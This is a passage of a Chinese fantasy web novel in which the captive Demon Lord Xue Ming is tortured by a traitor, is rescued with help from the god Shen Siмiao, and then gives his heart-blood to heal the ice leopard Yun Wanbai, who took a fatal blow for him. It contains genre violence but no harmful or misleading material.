巳镜很愿意将自己这段时间的所有谋划对这位阶下囚好好炫耀炫耀。 毕竟他也想看一看魔尊的表情到底会有多精彩。 “从哪里说起好呢?先说火灼吧,他个大老粗确实好骗,对魔界那叫一个忠心耿耿,当年就是我引他上套,想通过他把冰棘豹给杀了,或者策反他一起加入我仙恩堂。” “只可惜他成事不足败事有余,百般犹豫之后还是收手了,甚至差点就查到了我头上。” “仙恩堂?”血冥启唇,态度有些不屑,“什么东西。” 巳镜禁不住激将法,不用魔尊继续询问便自己开口: “那是受了仙界恩惠之士聚集之地,人、妖、冥、魔齐聚一堂共谋大事!未来,那可是能直入仙界成为仙人的,你懂什么?” 巳镜气急败环了一阵,不过他很快就缓好了情绪,骄傲道:“魔耳堂堂主的位置我可不放在眼里,又哪里比得上仙恩堂副堂主的位置?不过……” 他冲着血冥冷笑:“这次抓住了你,我就是首功,堂主之位即将被我收入囊中。” 说罢便再一次放声大笑了起来。 血冥眼皮微掀,完全不在意躯体的疼痛,神色中闪过一丝幽暗。 这个山洞很是古怪,又或者说是缚魔链锁住了他的全部魔力,令他动弹不得无计可施,就连本命法宝在此处也似乎失去了效用。 不过,方才他释放的仙雾已是一重保障,身为赤凌峰的主人,神思渺可以一路追踪仙雾所飘过的痕迹,成功将其定位。 不过为了保险,血冥又做了第二重保障,他早将信息刻在了一枚神谷之中,就丢在了在自己出事前的地点。 神思渺的鸽子受过专门的训练,无论与神谷相距多远,它们都能第一时间闻到气味找到神谷,并将其吞入腹中保存起来,随后回到神思渺的身边,再将神谷交出,让神思渺读取信息。 早在血冥抵达约定地点的那一刻就已经察觉了端倪,当时他便在神谷中刻下信息,暗中告诉神思渺是神界仙界动的手,他们等不及大战便意欲暗下杀手。 基于对神思渺实力的了解和兄弟之间的相互信任,血冥相信他一定会很快收到消息,第一时间前来破局。 除此之外 ,在赶往妖界和被转移至神秘山洞的途中,他都特意留下了与乖乖之间约定过的记号。 万一对方不仅想要以乖乖的性命诱他入局,更打算继续利用他的出事骗乖乖上当的话,那么在看到这些记号所留下来的信息,乖乖应该会懂。 当然了,这记号不仅只有他和云宛白两个人知道,神思渺也同样能看懂记号所代表的含义。 这是血冥的先见之明。 他担心哪天乖乖出了事,而自己又被困在原地动弹不得,就可以让神思渺代为寻找,好让三人之间保持信息的同步。 毕竟对血冥来说,他最信任的人就是云宛白和神思渺。如果可以的话,他也希望他们两个人能够相处融洽。 三重保障眼下都已落到实处,破局也成了早晚的事,血冥并不急着出去,心中也淡然了许多。 至于这仙恩堂到底是怎么回事,成员又有多少,势力成长的有多快,还有神界到底有没有插手……这种种问题都需要由他通过巳镜的口慢慢打探清楚。 被掳到这里来也算是因祸得福了,起码他能得到不少一手消息。 血冥看出巳镜似乎对魔界积怨已久,有满腔的愤怒想要发泄。而他既然能将自己骗着此处,那么也算得上是叛徒当中地位较高的人,懂的内幕一定不少。 血冥心下主意,便拿出了属于魔尊傲气的架势,不停用言语挑衅企图套话。 巳镜本就看他不顺眼,用起极刑来也毫不留情,上头说了,魔尊随他处置,只要留一口气别立马死了就行。 取他性命这件事必须由仙界之人动手,且必须要在众多位高权重之人见证下进行,这样才能保证仙界对天下一统的话语权。 至于谁成了那个下令夺走魔尊性命的人,便能在整个仙界扬名掌控绝对的话语权,也就是变相的成为了仙界的第一人,一统天下的六界之尊。 所以这个宝贵的名额,仙界内部还在竞争当中,暂时还没法过来,这就留给了巳镜充足的折磨时间。 “被一个女人压在脚下,你懂那种耻辱感吗?就算她是三星大将又如何,她当真是通过实力上去的?我可不信!” 巳镜疯狂发泄自己的怒火,用笞魔鞭狠狠鞭挞着魔尊,嘴里冒出了一句又一句的隐言。 “还有,三门五堂凭什么就魔谛门被压在三门之末?没有准确的情报来源,他魔战门打得了仗吗?还有魔建门,搞得了外交政务,又能准确找到物资补给吗?” “一个个跟大爷似的,鼻子都长到了天上去,每次看到我们就退避三舍,根本瞧不起我们这些为了收集情报出生入死的人,还称我们什么?阴沟里的老鼠?凭什么!” “这些也都算了,风言风语什么的臭老鼠在乎吗?但最过分的是,明明属于我魔耳堂的物资凭什么被他们扣下,还有门主暮刀,凭什么就帮魔眼堂讨回公道而将我魔耳堂忽视到底,就因为和笛御眉来眼去看对眼了是吗?” 啪!啪! 巳镜挥舞着鞭子,在血冥身上留下了一道又一道深可见骨的伤痕,打得他皮开肉绽,满地鲜血。 巳镜越打越癫狂,什么样恶毒的话语和猜忌都吐了出来。 关于巳镜所讲的这些事血冥都知情,只是真相出入很大。 魔谛门门主暮刀早就向他汇报过,说魔耳堂堂主手脚不干净,不仅吞并物资苛刻手下,还将情报通过秘密渠道对外出售卖给敌对阵营。 与此同时,巳镜还格外针对三门五堂中的女性,总是出言不逊,见谁都像通过不正当手段上位。他早就被很多女将教训过了,但仍知错不改我行我素。 血冥不听一面之词,又派亲信去查了查发现事实确实如此。只不过他整理情报并推断线索的能力极强,于是血冥授意暮刀和其他门主堂主有意为难巳镜,看看他会不会在碰壁之后意思到错误而收敛。 后来巳镜装的确实不错,血冥也有别的事情要忙便没再关注,而再一见,就是眼前了。 “你不是魔尊吗,这六界强者在我手里不也得挨鞭子啊,哈哈哈哈!” 血冥闷哼,极力忍下了这些皮肉之苦。 这笞魔鞭制作的有点水平,每一下打在他的身上,都会引起他体内至尊魔息的暴动,内外同时受罪。 不过比起当年跳入堕魔污泥后的痛,现在所受的伤根本不值一提。 血冥的默默承受让巳镜打的那叫一个畅快,性情也更加疯癫了起来,他从怀中拿出了一枚丹药捏在指上,阴测测地笑道: “虽然上头命我保你一条命不死,但你猜这是什么?这是我仙恩堂的一枚闭息丹。” “若你死了,这枚丹药将保你一命,虽然看似死亡,但只要再服下一枚闭息丹后你就会起死回生。只不过复活后的你状若痴傻早已丢了三魂七魄。” “不过上头也只想当众将你击杀服众而已,管你是个什么样的状态,倒不如将杀了魔尊的荣誉捏在我的手里,你觉得如何?” 巳镜桀桀大笑,将丹药弹入血冥的口中,确认他将其吞下之后继续鞭打,手下的也更重了。 血冥并不将这枚丹药放在心上,只要他能出去,神思渺自会为他制出解除丹毒的药丸来,他绝对不会死在这里。 所以血冥咬牙继续出言挑衅,并努力将话题从魔界内部转移到仙恩堂的方向上去。 为了不让巳镜有所察觉,血冥拐了很多的弯挨了很多的打,才能套出那么点有用的信息,俨然在生死的边缘游走着。 好在巳镜不会放任魔尊草草死去,他手头有不少续命的好药材能保魔尊不死。 能将魔尊折磨的死去活来,那简直是人生一大快事。 …… 这一路的历练让云宛白成长了很多,在赶到妖界之后,她果然找到了血冥留给她的记号,顺利这些信息成功找到了身处妖界地下的山洞。 这个地方十分隐蔽,不仅路线极其复杂,稍微踩错了一步就会找到截然不同的地方去。 而且这一路上还用多重陷阱和具有迷惑置换性的植物来扰乱伪装,但都被云宛白靠血冥的记号提醒以及自己的经验一一化解,成功找到了他留下的最后一个记号。 这也意味着她找对地方了,眼前这个山洞就是血冥被关押着的地方。 云宛白也没想到自己能这么顺利的潜入此处,不过她不得不承认,血冥对她的高要求还是很有用的。 想当年血冥时不时就会丢给她一堆高级妖法秘籍命她学会,还时不时的抽查好让她将技巧反复记忆。 而她经过大半年的历练之后,更加把这些秘法烂熟于心,运用的炉火纯青。 云宛白或许不知,这些秘法并非烂大街,而是真真正正的传宗之宝立命之根,但凡学会一门就足以在六界开宗立派。 血冥花费多年收集,后又通过武力等各种方式从名门名派中抢过来,特意给乖乖保身立命用。 在掌握了这些秘法之后,只要不是正面对决,她保命的能力就已经排到了六界前几。 只要云宛白自己不出岔子,就不会有人能发现她的行踪。 对于这些事实云宛白听不清楚,眼下她也顾不上怀疑这些。 在跟踪的路途中,云宛白全程使用了屏息拟态术,与周围环境融为一体。 还通过从冥界跟其他人交换来的一些特殊法宝,彻底隐匿了她的味道,绝不叫人发现。 除非她主动现身,否则没有一个人能够找到,包括血冥。 血冥既然是六界最强战力之一,他的能力也应该是天花板级别了,能防住血冥,就说明她也一定能够防住仙界或神界之人。 因此,云宛白很有自信。 所以在这潜行的路途中,她不仅跟踪了记号并记录信息,而且还从把守着关卡的仙兵中拼凑出了关押地点的秘密。 这个山洞是仙界特意打通而成,能够通过某种秘法联通仙妖两界。 然而秘法只能支撑单向传输,也就是说仙界的人可以来到这山洞,而妖界之人却不能够通过山洞前往仙界。 只不过关押血冥的监狱建 造要求极为严苛,仙界也不敢大张旗鼓地动工,就只好找到了妖界这处僻静隐蔽的好地方作为选址。 云宛白耐下心来一步步接近洞口,她将自己化为虚体直接穿进山洞壁间,利用介质畅通无阻地向前穿行,很快便通过声音追查到了血冥被关押的地方。 结果刚一到这,她就听血冥对巳镜一顿嘲讽输出,随之而来的就是对方一顿毫不客气的鞭刑,将他原本已经干涸结痂的伤疤再一次打的崩血露骨。 云宛白很是不解,这完全不像血冥平日里安静沉稳的性子,既成了阶下囚,又何苦作死挑衅,这不是平白挨揍吗? 除了恨铁不成钢的这层意味之外,云宛白更多的还是心疼。 平日里高高在上强大无比的魔尊血冥,现在却成了奄奄一息的战损版,云宛白心中多少有点不是滋味。 在她看来,血冥即便死战也应当符合他魔尊的排面,大开大合以一敌万。 而不是在这小小的牢笼之中被小人算计,无声无息受刑而死。 云宛白不由得怒目握拳牙关咬紧,但她觉得自己现在很冷静,冷静的可怕。 只是她看向巳镜的眼神早已跟看死人一样,冰冷而又漠然。 血冥算对了一切,包括神思渺的及时入场,却错算了云宛白。 他感受到被自己释放出去的那缕宣物重新飘回到他的指尖入体,这就说明神思渺已经成功潜入了山洞,随时等待自己给出动手的信号。 在得知这一点之后,血冥心中大定。 刚想抬头找一找神思渺所在的方位,血冥突然发现自己在对面山壁之角留下的信号变了。 上面的信息显然是乖乖所留,表明她也在这山洞中。 血冥顿时有些惊喜,要知道他在得知神思渺来的时候都没这么高兴过。 但高兴之余便是深深地担忧,这里很危险,乖乖不应该到这里来。 血冥将所有情绪死死的锁在心中,不敢让巳镜看出半分端倪。 他想让乖乖赶紧撤离此处保证她的安全,但不知道为什么,他当下却又犹豫了。 已知神思渺早已就位,就说明主动权到了他们的手中,安全离开山洞其实已经成了即将要发生的事实。 所以,现在似乎也是一个机会能让乖乖心疼一下他? 血冥有点想知道若是自己垂危之际,乖乖会有什么样的反应,自己对乖乖而言到底是不是一个重要的存在? 这种真实的反应放在平日里肯定试探不出来,也就只有像现在这样的危机时刻才能够看出。 正因如此,血冥按捺住了冲动没再吱声,反而迎合着巳镜的鞭打更表现出一副虚弱的模样。 云宛白哪里知道血冥和神思渺计划,她以为只有自己找到了这里,也只有自己能救血冥。 巳镜似乎疯了,在畅快淋漓的一顿鞭打之后,他实在无法忍受内心的暴动,面对血冥似笑非笑的模样不由的怒从中来,直接祭出了他作为副堂主从上头领来的致命法宝,对准血冥就是一击。 “哈哈哈受死吧!!!” 血冥面色一凛,指尖微动与神思渺交换信息,让他在最后一刻再出手击杀巳镜,好让巳镜在最不受防的时候达成被搜魂的最佳状态。 然而血冥唯独没有料到的是,此时,隐藏在暗处的云宛白动了。 云宛白毫无征兆地扑了出来挡在血冥面前,她试图展开本命法宝作为抵挡,然而山洞古怪,魔界法宝根本没有任何用处。 于是在血冥的视角中,乖乖猛然飞身与巳镜祭出的杀招狠狠相撞! 轰的一声—— 云宛白从高空无息坠下。 场面瞬间静默,血冥连缚魔链什么时候被神思渺破开的都不知道。 他愣愣的飞向前,如游魂一般将乖乖抱在了怀里。 “愣着干什么!还不快杀了叛徒防止他向仙界报信!”神思渺冲血冥吼道。 60-70 第61章 第61章用这种方式赎罪?我不同…… 神思渺的话终于将怔愣中的血冥唤醒,他垂头看向生死不明的乖乖,满腔怒火迟来地升腾而起。 伤他不要紧,可伤了他的乖乖……这种仇,他必须亲自去报。 破开缚魔链后,血冥体内被锁住的魔息重新恢复了运转,飞快充斥着他的全身迅速修复伤口,以肉眼可见的速度结痂变平整。 精力逐渐充沛的同时,也令他更加暴戾阴狠,全身萦绕着黑气。 只是在即将暴走之前,血冥将至纯魔息凝成柔护罩,小心翼翼地将乖乖包裹起来,像一颗巨大的水滴一样令她漂浮在圆球的中央,保证她的伤势不再恶化。 与此同时在柔护罩外,他又为乖乖套上了一层护盾,防止其他术法不甚飞到乖乖附近而造成误伤。 速度完成这一切之后,他这才狠狠捏紧拳头,化作一道黑光腾的一声朝巳镜的方向飞身而去。 神思渺正和巳镜过招,打的难舍难分。 并不是神思渺的实力下降了,只因他此次隐瞒身份前来,在仙家之地动手不免束手束脚,只能用无法辨认身份的普通招式将巳镜拦下。 而且他也怕巳镜还藏着什么后手,万一招来更多的仙神之人,那可就坏了他和血冥的大计。 不得不说,冰棘豹跳出来的时机实在不妙。而且它到底什么潜伏在这山洞里的,居然连自己都瞒过了,隐匿的水平确实有点本事。 不过血冥呢,他知道冰棘豹也追踪到这里来了吗? 来不及想这些了,赶紧把巳镜拦下才是重点。 血冥很快便来到空中与神思渺配合,他们二人本就默契十足,能够发挥出一加一大于二的特性。 只不过血冥有些急了,招招皆下狠手,不出片刻巳镜便重伤。 但巳镜丝毫不管伤口,只管往山洞出口奔去,在他不要命的逃跑下,巳镜几乎快到洞口。 不行,不能让他跑了。 血冥眸色煞冷,滔天的愤怒蒙蔽了他的心智,猛地凝出一刃向前击去! 神思渺见状吓了一跳,情急之下不得不动用破空掌来抵消血冥的必杀之技,赶紧用密音提醒血冥:“搜魂须活口!” 此掌一出,巳镜便瞳孔紧缩,瞬间认出了神思渺的身份。 仙魔有染,此乃大闻! 巳镜当机立断,选择动用藏于腹中的传音法宝通风报信之时—— 嗖!!! 根根冰刺洞穿巳镜,几乎将他扎成了筛子。 而且每根冰刺在接触肌肤表层的瞬间就迅速向内冰冻,不出一息的时间将巳镜冻成了一块冰雕动弹不得,将他的气息完全隔绝却又不伤及性命。 巳镜的神情仍保持着愕然,而且他的手就停留在了探入腹中取出法宝的那一瞬,仅仅只差了一毫厘。 血冥和神思渺同时回头。 就见云宛白的尾巴高高竖起保持尖刺状,冰雾盘旋在尾尖上空未散。 她看向血冥的目光有些涣散无神,旋即再也支撑不住身体的重量颓然趴下,彻底昏在了柔护罩中。 “乖乖!!” 血冥眸中狰狞的红光瞬间褪为乌墨,他衣袂飘扬,几乎下一瞬间就心神无主地出现在了柔护罩旁。 神思渺抿唇,眼神复杂地看向冰棘豹所在的方向,不由得叹了一口气。 本来眼下能主持大局的,就只有他自己了。 神思渺伸出一掌按在巳镜头顶搜魂,在得到了想要的信息之后便毫不犹豫得将巳镜的肉身摧毁,又干脆利落地抹去了魂魄,这才带着血冥和他怀中的冰棘豹离开此地。 …… 经过检查,云宛白这一次的受伤程度比她遭到刺杀被迫断尾求生那次还要严重。 被虚影刺客折磨的那次不算,毕竟那时候她还有力气自己跑回家,养伤的时间也不长。 严格意义上来算,真正危及她性命的只有两次,除了断尾便是这一次了。 虽然只是沉睡不醒,就连伤口看着也并不明显,却实实在在损害到了根基。 她帮血冥挨的那一掌就没想过要避开要害,全凭本能行动,而那一招又好死不死正好打在了她的丹田上,伤到了妖丹。 要知道,巳镜掏出的仙界法宝正好克制魔息,要是真打在血冥身上绝对致死。 幸好云宛白属妖,体内魔息炼化的并不多,因此伤虽重,但不至于被克制致死。 只是云宛白在重伤后仍动用妖力甩出冰刺,去帮血冥神思渺他们牵制巳镜,将妖丹内储存的妖力挥霍了个一干二净,这才令她根基受损的程度更重一步到差点碎丹。 得知乖乖的伤势之重,血冥当真后怕,心中更是懊悔无比,十分痛恨当时昏头了的自己。 为了测试在乖乖心目中的重量,不仅对她隐瞒实情还继续往下演戏,连神思渺都跟着被蒙在鼓里。 但显然,血冥高估了自己把控全场的能力,也低估了乖乖忠诚护主的决心。 他的一念之差,就令乖乖无端招致如此祸患,生死莫测地躺在这里。 他真是 个烂人,当之无愧的魔种,他怎么能用这种方式去试探乖乖的真情…… 血冥的愧疚自责几乎将他淹没,把乖乖带回魔界之后他就一直不吃不喝陪在乖乖身边,任由自己憔悴失神,妄图用这种方式惩罚自己。 不过他心里很清楚,他根本偿还不了乖乖的心意。 原本他不信这世上还会有人无条件的信任他爱护他,即便有了乖乖,这种不安全感仍然萦绕在他的心头,时不时令他生出几分怀疑,却又无从考证。 而这次,在他看到乖乖舍身决然挡在面前的时候,血冥终于信了。 但,也真的后悔了。 曾经的经历与心中暗藏的不安,都不是他可以利用计谋试探乖乖的理由。 乖乖醒来后若得知真相,还会待他如初吗?血冥不知道,更不敢去想。 他现在只希望乖乖能好起来,为此他愿意付出任何代价。 不久,宿庚又端着一碗药进殿了。 “宿庚,务必救乖乖!” 血冥红着眼嗓音喑哑对他说道。 自从把乖乖接回魔界之后,他就不停重复着这一句,整个人的精气神都靠宿庚的救治强撑着。 宿庚同样不好受,每天都忙着稳住豹儿反复无常的病情,头顶的发早已脱尽,人也老了许多,这颗心一直悬在嗓子眼里根本不敢落下。 而他也从尊主的呢喃和忏悔中得知了全部的经过。 抛开下属的身份之外他更是豹儿的爷爷,而尊主为了私心将豹儿置于危险之中。说实话,心中的愤怒烧的他实在难受。 他也无数次地回答:“属下定当尽力,尊主您……” 宿庚依然还是深吸一口气,最终还是没能说出任何责怪的话。 罢了,当务之急还是要先保住乖乖的命,至于接下来伤情恢复需要用到什么,他绝不会跟尊主客气。 尊主他也是时候长长记性,学会信任,学会珍惜了。 【滋……滋……】 【系统重连中……】 【系统已损坏99%,正在尝试自我修复,修复进度1%……】 【请耐心等待,等待……】 机器损坏的电磁声在云宛白的脑海中不停回荡着。 这次受的伤比断尾那次严重的多,她的金手指也受到重创,一直断断续续信号不良,根本打不开意识空间。 云宛白迷迷糊糊地昏沉着,只能靠自己的本能慢慢修复着身体。 好消息是,她的伤势稳住了,不至于继续恶化。 但坏消息是,她的妖丹没法自主修复,仍处于破碎的边缘。 这样下去即便醒来,她也失去了自保的能力,更不用谈继续修炼继续进步了。 也就是说,她将和普通的脆弱妖兽没什么两样,寿命也会大为缩短。 在得知了这样的后果之后,血冥根本无法接受,他也知道像乖乖这样自尊心极强的人也绝不会接受废人般的后果。 “宿庚,你一定有解决办法的对不对!” “不管有什么样的代价,你只管告诉我,不得隐瞒!” 宿庚叹气,这才不得不开口:“只有尊主您的心头血,方可助豹儿重凝妖丹。” 没错,宿庚就是故意的,他就是要将乖乖的后果直白残酷地呈现在尊主面前,好让他为自己的猜忌和试探付出代价。 不过宿庚也没夸张后果,豹儿醒来之后确实也得面对这些后果。 而心头血,也的确是医治豹儿的最佳良方。 只是像尊主这样的六界强者,每一滴心头血都格外珍贵,但凡失去一滴都会对身体造成极大损伤,实力和精气也会大幅下降,短时间内难以再凝难以恢复。 也就是说,失了这滴心头血后,尊主将有三个月的空窗时间不得外出不得打斗,这对整个魔界的防御来说都是致命的打击。 当然,解决办法也是有的。魔尊必须静养修复,最好再去堕魔污泥那里继续吸收至纯魔息来加速再造心头血。 快的话一个月就能恢复巅峰期的九成实力,剩下的一成就靠时间慢慢恢复就行。 只是将至尊魔息放回堕魔污泥蕴养后再夺回体内,这巨大的痛楚不知道尊主还能不能扛过来。 毕竟这是最快最好的办法了,若是纯靠时间慢慢恢复的话……十年?百年?宿庚也不清楚。 将这些利弊全部讲与尊主听后,血冥毫不犹豫地选择祭出心头血救乖乖,片刻都不愿等待。 在他看来,这几乎是没有任何损害的方法,心头血就长在他的体内,并且也有恢复的途径。 只要他韬光养晦几月,乖乖也恢复了妖丹,皆大欢喜。 至于那些疼痛不算什么,他既然能忍受一次就能够忍受第二次。 用疼痛的方式来赎罪的话,他也能够减轻内心的负罪感。 这是再好不过有一种解决办法了。 只不过在取出心头血之前,他还需与神思渺通个气,好让他在自己恢复实力的这段时间里帮忙照顾一下魔族,稳定好三界的平衡。 然而他才刚开了个头,就见神思渺愤然拂袖,满脸不可置信: “我不同意!!” 第62章 第62章嘴硬心软的神啊~ “你知道你在说什么吗血冥?” 神思渺头一回发这么大的脾气,甚至冲到了血冥面前,一把揪住血冥的领子将他拽到自己跟前,鼻息喷到了他的脸上。 血冥无动于衷,任凭神思渺发火,依旧一声不吭。 “心头血,你还好意思跟我说心头血?你别以为用普通药材似的语气告诉我,我就能被你轻易糊弄过去!” 神思渺冷笑,指节用力:“你知道这对你来说意味着什么吗?你当真心甘情愿?” 扪心自问,换作与猫儿的关系分崩离析之前,神思渺再怎么宠爱她,再如何不辞辛劳地寻找珍贵药材甚至付出很大的代价,也绝对不会打自己心头血的主意。 是,心头血是能恢复,可它恢复的条件极其严苛,不仅取出之时会对身体造成重创,在失去心头血的那段时间里也会极其虚弱,自保也成了奢望。 像他们这种地位和筹谋抱负之人,绝不可以有这种私心。 以往血冥比他还要冷漠,将自身利益看得极重,对所谓的感情更是嗤之以鼻,连带着对他养猫儿都颇有微词。 可现在,血冥却成了那个冲动任性完全不考虑后果的家伙。 血冥深吸一口气,却依旧垂眸不敢与神思渺对视:“是我亏欠她的。” 换句话说,血冥知道心头血的代价,但甘之如饴。 而且这是他早已做好的决定,如今告诉神思渺也只是通知而已,只希望能得到帮助,并非商量。 正因为听懂了血冥的潜台词,神思渺好不容易按捺下去的怒火又被勾起来了,他凑的离血冥更近,几乎快要脸贴着脸,愤怒得直盯对方。 “亏欠她又至于用心头血吗!” “是你自己亲口对我说过,在堕魔污泥里的痛你绝不愿再承受第二次,现在倒好,你又完全不怕 了?” “那种痛我可以承受。”血冥轻声,依旧在反驳。 虽然自知理亏,尤其在神思渺的面前就更不容易开口。 但乖乖破碎的妖丹拖不得,好不容易现在稳住了病情,正是应该下一剂猛药将她体内生机重新激活的大好时机。 对乖乖而言,自己是她唯一的解药。 诚然,他和神思渺肩负着六界生灵的命运,可乖乖难道就不算六界生灵之一吗? 为大家而舍弃小家之人最是愚钝,连小家都护不好,谈何大爱。 所以这滴心头血,他非献不可。 只是一旦自己这么做了的话,就必须要得到神思渺的帮助,否则魔界堪忧,他一个人根本没办法承担后果。 但只要他与神思渺配合的好,他们最担心的情况根本不会发生。 是神思渺他太偏激了。血冥如此想道,性子也犟了起来。 神思渺都快被这头倔驴给气笑了:“行,提议养宠是我的错,我让你养个弱点出来,只是为了让你有动力更加变强,而不是让你为了这个弱点变得更弱。” “一句话,你到底帮不帮我?”听他还要喋喋不休下去,血冥直接打断了他的话,同样坚决地看向他。 神思渺怔住了,也沉默了。 他看到血冥嘴边许久未打理过的胡青,看到他乱糟糟的头发,看到他满是皱痕从未换下过的衣裳,看到他眼睛肿胀满脸疲态的憔悴。 说真的,作为兄弟,他从来没想过自己会看到这样的血冥。 值得吗? 为一只冰棘豹哭成这样,值得吗? 别以为我不知道你这双肿的跟青蛙似的眼睛是怎么来的,还有你眼角尽力掩饰但都遮不住的泛红。 为了它,真的值得吗? 血冥的回答是:“我只恨自己做的不够好,当时若是我告诉乖乖一切尽在掌握不必让她出手,或者我告诉她你已经在此与我配合,这种罪她根本不需要承受。” “是我太自大,是我太自私,我让她为我的私心承受了生命的代价,难道我不该忏悔、不该弥补吗?” “这一切皆因我而起,全都是我的错,我不敢想象她若变成了普通凡兽,岁月流逝令她逐渐变老。几十年对我而言只不过一眨眼,可是对她……我不愿看到她成了一抷黄土的样子。” 将憋在心里的这番话说出来之后,血冥的语气显然轻快了许多,但态度也变的更加坚决了: “我已知会了你,帮不帮是你的自由,明日我便会祭出心头血。所以今晚,我需好好休息养足精神,情绪不可再起伏。” 一点点把自己的衣领从神思渺手中拽了回来,血冥对他颔首,头也不回地走了。 神思渺徐徐将手垂下背在身后,转过身目送血冥的离开,目光幽深。 过了半晌,空气中忽地传来了一声轻叹,其中的意味说不清也道不明。 祭出心头血的过程并不复杂,逼自己强行睡了一夜恢复精气神后,血冥便在宿庚的主持和统妖司的护法之下,从口中逼出一滴心头血送入了云宛白的体内。 在逼出血液的那一刹那,血冥浓如墨的黑发瞬间灰了一个度,脸色煞白,身形一个踉跄的跌坐在了一旁。 宿庚不敢分心,尊主已经做了该做的事,接下来成败如何就要看他的了。 众人打坐运功不停念咒,祭出各自的魔力,用秘法模拟妖力的运行将尊主的心头血拟化成各种形态,慢慢修补云宛白妖丹间的裂缝。 历经整整三天三夜,妖丹终于修复完成,云宛白这条修炼天才的命,总算是保住了! 同一时刻。 血冥也从昏迷中幽幽转醒,扭头便看到了仍在昏睡中的乖乖以及连忙迎上来的宿庚。 “怎么样了……”血冥很是虚弱,几乎发不出什么声音,全凭气音在说话。 “豹儿一切安好,伤势正在快速修复中,不出几日就能醒来。反而是尊主您的身体更令人担忧,这是刚熬好的药,您趁热喝。” 宿庚赶紧扶血冥躺下让他不要乱动,用勺子将药舀起小心地吹了吹,不敢让一滴药汁洒出。 “这是淼思居士送来的药,对您的伤势恢复有奇效,还能增强您对堕魔污泥的抵抗之力。” 说到这里,宿庚不由地感慨:“我本以为这株只存在于神界的鸿山草早已绝迹,却没想到淼思居士居然能将它弄到手,还亲手将它炮制成了药性极佳的药材,不愧是尊主特意招揽来的丹药大师。” “就连这药也是淼思居士熬的,我本想着不抢功,由淼思居士给尊主您送药,可他怎么都不肯来。” 血冥怔愕抬眸,听着宿庚的念叨,被搀扶着慢慢将药喝下。体内如冰窖般的寒意瞬间被一股暖流驱散,令他气色好上许多。 淼思居士是神思渺在魔界的伪装身份,由血冥亲自盖过章,也让宿庚他们认过脸,方便神思渺自由出入魔界。 这些天血冥没见他来过魔界,更别提给他留下了什么记号。血冥原以为神思渺他一定对自己格外生气,或许连魔界都不再管了。 却没想到,转眼他竟将这株鸿山草送给了宿庚命他熬药。 鸿山草只在神界生长,摘下即亡,从这浓烈的药性来看,这株鸿山草显然刚摘下不久。 看来为了自己,神思渺特意回了趟神界啊…… 血冥莞尔,勾起了嘴角。 这家伙,果然还是他记忆中嘴硬心软的小神君。 虽然不知道神思渺为此付出了什么样的代价,但这个人情,他血冥记下了。 有了鸿山草,血冥恢复的速度比想象中快很多,就连回到堕魔污泥里将至纯魔息重新放回提炼吸收的过程,也从一个月缩短到了半个月。 只不过一直到他从堕魔污泥里出关,原本早应该醒来的云宛白却仍在沉睡。 经检查,她的伤势几乎大好,妖丹也已经恢复的基本看不出来曾受过损,却还是没醒。 血冥和宿庚不由得陷入不解。 没办法,血冥只好腆着老脸找上神思渺,将他请回了魔殿给乖乖看病。 毕竟除了神思渺,血冥也想不到更好的人选了。 不过兄弟二人不欢而散之后重聚一堂,气氛还是有那么点的别扭和尴尬。 神思渺倒也没推辞,直接坐到云宛白身旁为她把脉判断,表情逐渐古怪了起来。 见神思渺许久没说话,血冥沉不住气了:“乖乖她怎么样?” “古怪。”神思渺皱眉。 他能够感受到血冥的魔息正与云宛白的妖力不停地配合运转,却不见任何融合的迹象。 但说是相斥,却也不见任何矛盾排斥的异样。 血冥魔息之霸道他是见识过的,一只小小冰棘豹的妖力怎么能抵抗住血冥的魔息? 着实古怪。 “这样吧,这几天我就先留在这里,冰棘豹暂时由我来照顾看看。”神思渺主动提议。 有他在,血冥自然安心,忙不迭地答应了下来。 这样一来,血冥也能腾出时间继续去堕魔污泥那里稳固修为。争取再稳上半个月,保证恢复程度万无一失。 前几日神思渺表现的还算正常,一切都很尽心尽力。 他很快就查出冰棘豹的沉睡只不过因祸得福,相容却不相融的妖力与魔息,日后加以训练就能令她发挥出这两重的伤害,令敌人防不胜防。 只是躯体尚弱,跟不上内力的变化,所以才会强制休眠将所有药力用于增强体魄,直到实力相匹配才会苏醒。 不过,神思渺并没有把自己查出来的病因真相告诉血冥,反而在接下来的几天总是盯着冰棘豹发呆,有时候喂药的时候还会停顿在原地,显得有些深沉。 宿庚一直在门外偷窥,他不放心除自己之外的人照顾豹儿。 尤其在发现了淼思居士的异常后,他一刻也不敢隐瞒的赶紧找尊主告状。 神思渺根本不知道冰棘豹在魔殿当中的地位,也不知道她俘获人心的能力,自然不知道自己的犹豫不决一直被人看在眼里。 这一日,神思渺纠结万分,最后还是轻 叹了一口气,将大掌覆在了云宛白的脑袋上,呢喃道:“不能怪我,要怪也只能怪……” 砰的一声,大门突然被踹开! 血冥冲了过来直逼神思渺,惊喊道:“你要干什么!” 第63章 第63章起来,别装睡了 【滴滴——】 【系统重连成功】 【系统正在自我修复,目前修复进度为87%,已进入85%安全阈值,即将重新开启意识空间功能】 【请耐心等待,放松心态】 【请深呼吸,缓慢睁眼】 云宛白听着系统的提示音,慢慢从一片混沌中逐渐苏醒,她找到了重新控制魂体的诀窍,不疾不徐地朝着意识空间飘去。 当一片白光在她眼前骤然绽放后,云宛白长吐了一口气,猛地深呼吸。 她迈着虚浮的脚步,向着前方柔软的大沙发上扑过去,脸狠狠地埋了进去。 “啊~” 总算是醒过来了! 云宛白一阵后怕,当时她以为自己身体强健,即便挡下一招也不碍什么大事。 就算养伤的话,在意识空间里练练神识消磨时光,也是她能够接受的结果。 结果没想到这一招直接打的她跟金手指断联,晕晕乎乎失去意识到现在。 以后还是不能这么鲁莽了。 他一个大男人那么抗揍,哪里还需要我来挡枪啊。云宛白啧啧摇头,后悔不已。 不过现在浑身上下倒也不疼,看样子是已经恢复的差不多了。 这回我躺了几天来着? 云宛白赶紧翻看悬浮在空中的小说,本来她还想同时打开大屏幕观察一下自己的身体以及身体周遭的情况。 只不过因为刚跟金手指重连,大屏幕还没完全开机,还得再等一会儿。 云宛白没办法,只好耐下性子等它重启,与此同时紧赶慢赶地翻看小说,这才把大致情况了解完毕。 嚯,我这一睡可发生了不少事儿啊。 云宛白看的逐渐正襟危坐,表情很是无奈,正如她所料,她果然白挨了一掌。 其实云宛白也早就料到了这个事实,毕竟血冥这家伙可是在原著的终极大战中才会落败的无敌男二,就算再怎么不招作者喜欢,也不至于因为栽了小小的跟头而丢了性命。 只是这种事他怎么不早说? 但凡早说一步她也不至于挨打,更何况还有个正儿八经的大男主神思渺在呢,哪里需要她露面。 云宛白隐隐猜出血冥奇怪的行动线中必然有着某些复杂的心理因素。 